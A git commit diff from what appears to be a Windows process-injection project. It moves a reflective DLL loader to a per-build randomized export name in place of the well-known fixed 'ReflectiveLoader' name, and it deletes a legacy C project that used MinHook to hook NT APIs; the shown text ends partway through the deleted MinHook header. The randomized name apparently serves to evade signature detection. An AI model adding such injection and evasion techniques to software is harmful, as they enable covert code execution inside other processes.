remove old backstage injection and remove all legacy code
This commit is contained in:
@@ -31,23 +31,19 @@ fn main() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn generate_loader_entry() {
|
fn generate_loader_entry() {
|
||||||
let name = match std::env::var("BACKSTAGE_LOADER_EXPORT").ok().as_deref() {
|
// The loader export is always a per-build randomized `x<hex>` name. The
|
||||||
Some("ReflectiveLoader") => "ReflectiveLoader".to_string(),
|
// legacy fixed `ReflectiveLoader` export is no longer supported.
|
||||||
Some(value) => panic!("unsupported BACKSTAGE_LOADER_EXPORT value: {value}"),
|
let seed = std::env::var("BACKSTAGE_LOADER_SEED")
|
||||||
None => {
|
.ok()
|
||||||
let seed = std::env::var("BACKSTAGE_LOADER_SEED")
|
.and_then(|value| value.parse::<u64>().ok())
|
||||||
.ok()
|
.unwrap_or_else(|| {
|
||||||
.and_then(|value| value.parse::<u64>().ok())
|
SystemTime::now()
|
||||||
.unwrap_or_else(|| {
|
.duration_since(UNIX_EPOCH)
|
||||||
SystemTime::now()
|
.unwrap()
|
||||||
.duration_since(UNIX_EPOCH)
|
.as_nanos() as u64
|
||||||
.unwrap()
|
^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15)
|
||||||
.as_nanos() as u64
|
});
|
||||||
^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15)
|
let name = format!("x{:06x}", seed & 0xFFFF_FF);
|
||||||
});
|
|
||||||
format!("x{:06x}", seed & 0xFFFF_FF)
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let src = format!(
|
let src = format!(
|
||||||
"// Generated by build.rs — do not edit.\n\
|
"// Generated by build.rs — do not edit.\n\
|
||||||
@@ -63,6 +59,5 @@ fn generate_loader_entry() {
|
|||||||
let out_dir = std::env::var("OUT_DIR").unwrap();
|
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||||
std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src)
|
std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src)
|
||||||
.expect("failed to write loader_entry.rs");
|
.expect("failed to write loader_entry.rs");
|
||||||
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_EXPORT");
|
|
||||||
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED");
|
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,12 @@
|
|||||||
//! Position-independent reflective loader, pure Rust (no C).
|
//! Position-independent reflective loader, pure Rust (no C).
|
||||||
//!
|
//!
|
||||||
//! This is a direct port of the Harmony Security `ReflectiveLoader` that was
|
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
|
||||||
//! previously compiled from `reflective/ReflectiveLoader.c`. The injection
|
//! The injection stubs (`inject_reflective`) copy this DLL's raw bytes into a
|
||||||
//! stubs (`inject_reflective`) copy this DLL's raw bytes into a remote process
|
//! remote process and start a thread on our exported loader entry, whose name
|
||||||
//! and start a thread on our exported `ReflectiveLoader`. When that thread
|
//! is randomized per build (see build.rs) rather than a fixed string. When
|
||||||
//! begins, the copied image is *not* relocated and its imports are *not*
|
//! that thread begins, the copied image is *not* relocated and its imports
|
||||||
//! resolved, so this function must be position independent end to end:
|
//! are *not* resolved, so this function must be position independent end to
|
||||||
|
//! end:
|
||||||
//!
|
//!
|
||||||
//! - It never reads relocatable data. All image structures are reached by
|
//! - It never reads relocatable data. All image structures are reached by
|
||||||
//! computing addresses at runtime and reading with volatile scalar loads.
|
//! computing addresses at runtime and reading with volatile scalar loads.
|
||||||
|
|||||||
@@ -1,300 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|ARM">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>ARM</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Debug|x64">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>x64</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|ARM">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>ARM</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|x64">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>x64</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
|
|
||||||
<RootNamespace>BackstageInjection</RootNamespace>
|
|
||||||
<Keyword>Win32Proj</Keyword>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup>
|
|
||||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MinSpace</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<PreprocessorDefinitions>WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<TargetMachine>MachineX86</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<PreprocessorDefinitions>WIN32;WIN_ARM;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
|
||||||
<PrecompiledHeader>
|
|
||||||
</PrecompiledHeader>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
||||||
<Midl>
|
|
||||||
<TargetEnvironment>X64</TargetEnvironment>
|
|
||||||
</Midl>
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
<CompileAs>CompileAsCpp</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<TargetMachine>MachineX64</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
<PostBuildEvent>
|
|
||||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
|
||||||
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
|
||||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
|
||||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
|
||||||
</PostBuildEvent>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<TargetMachine>MachineX86</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MinSpace</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader>
|
|
||||||
</PrecompiledHeader>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
|
||||||
<CompileAs>Default</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
||||||
<Midl>
|
|
||||||
<TargetEnvironment>X64</TargetEnvironment>
|
|
||||||
</Midl>
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
<CompileAs>CompileAsCpp</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<TargetMachine>MachineX64</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
<PostBuildEvent>
|
|
||||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
|
||||||
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
|
||||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
|
||||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
|
||||||
</PostBuildEvent>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="src\ReflectiveDll.c" />
|
|
||||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
|
||||||
<ClCompile Include="src\NtApiHooks.c" />
|
|
||||||
<ClCompile Include="Minhook\src\buffer.c">
|
|
||||||
<CompileAs>CompileAsC</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Minhook\src\hook.c">
|
|
||||||
<CompileAs>CompileAsC</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Minhook\src\trampoline.c">
|
|
||||||
<CompileAs>CompileAsC</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Minhook\src\hde\hde32.c">
|
|
||||||
<CompileAs>CompileAsC</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Minhook\src\hde\hde64.c">
|
|
||||||
<CompileAs>CompileAsC</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
|
||||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
|
||||||
<ClInclude Include="src\NtApiHooks.h" />
|
|
||||||
<ClInclude Include="Minhook\include\MinHook.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="Source Files">
|
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files">
|
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
|
||||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="src\ReflectiveDll.c">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="src\ReflectiveLoader.c">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="src\NtApiHooks.c">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="src\ReflectiveLoader.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="src\NtApiHooks.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="src\MinHook.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,185 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
|
|
||||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
|
||||||
#error MinHook supports only x86 and x64 systems.
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// MinHook Error Codes.
|
|
||||||
typedef enum MH_STATUS
|
|
||||||
{
|
|
||||||
// Unknown error. Should not be returned.
|
|
||||||
MH_UNKNOWN = -1,
|
|
||||||
|
|
||||||
// Successful.
|
|
||||||
MH_OK = 0,
|
|
||||||
|
|
||||||
// MinHook is already initialized.
|
|
||||||
MH_ERROR_ALREADY_INITIALIZED,
|
|
||||||
|
|
||||||
// MinHook is not initialized yet, or already uninitialized.
|
|
||||||
MH_ERROR_NOT_INITIALIZED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is already created.
|
|
||||||
MH_ERROR_ALREADY_CREATED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is not created yet.
|
|
||||||
MH_ERROR_NOT_CREATED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is already enabled.
|
|
||||||
MH_ERROR_ENABLED,
|
|
||||||
|
|
||||||
// The hook for the specified target function is not enabled yet, or already
|
|
||||||
// disabled.
|
|
||||||
